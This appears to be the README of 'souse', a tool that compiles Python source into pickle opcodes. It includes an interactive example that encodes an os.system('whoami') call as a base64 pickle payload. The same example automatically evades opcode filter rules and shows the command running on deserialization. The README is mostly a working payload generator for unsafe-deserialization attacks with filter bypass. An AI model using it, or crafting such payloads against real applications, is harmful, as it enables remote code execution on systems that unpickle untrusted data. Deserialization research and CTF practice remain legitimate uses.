A tool for converting Python source code to opcode(pickle)
./test/
has some example codes for souse.py. The filename starts with N
is NOT supported yet.
source code:
opcode:
source code:
opcode:
transfer opcode:
supported:
- base64_encode
- hex_encode
- url_encode
example:
In [1]: import souse
In [2]: exp = "from os import system\nsystem('whoami')"
In [3]: souse.API(exp, optimized=True, transfer="b64").generate()
Out[3]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='
In [4]: import base64
In [5]: souse.API(exp, optimized=True, transfer=base64.b64encode).generate()
Out[5]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='
In [6]: souse.API(exp, optimized=True, transfer=[bytes.decode, str.encode, base64.b64encode]).generate()
Out[6]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='
In [7]: import pickle
In [8]: firewall_rules = {
...: "V": "*",
...: "I01": "*",
...: "I": "100",
...: "R": "*"
...: }
In [9]: souse.API(exp, optimized=True, transfer=pickle.loads, firewall_rules=firewall_rules).generate()
[*] choice o to bypass rule: {'R': '*'}
[*] choice S to bypass rule: {'V': '*'}
macr0phag3
Out[9]: 0
- support for nested expressions
- opcode bypass supported
- auto bypass basic limitation(
V
、S
、I
、...) - auto bypass complex limitation(
R
、o
、i
)
- auto bypass basic limitation(
- value bypass supported
- number
- API
-
pip install
supported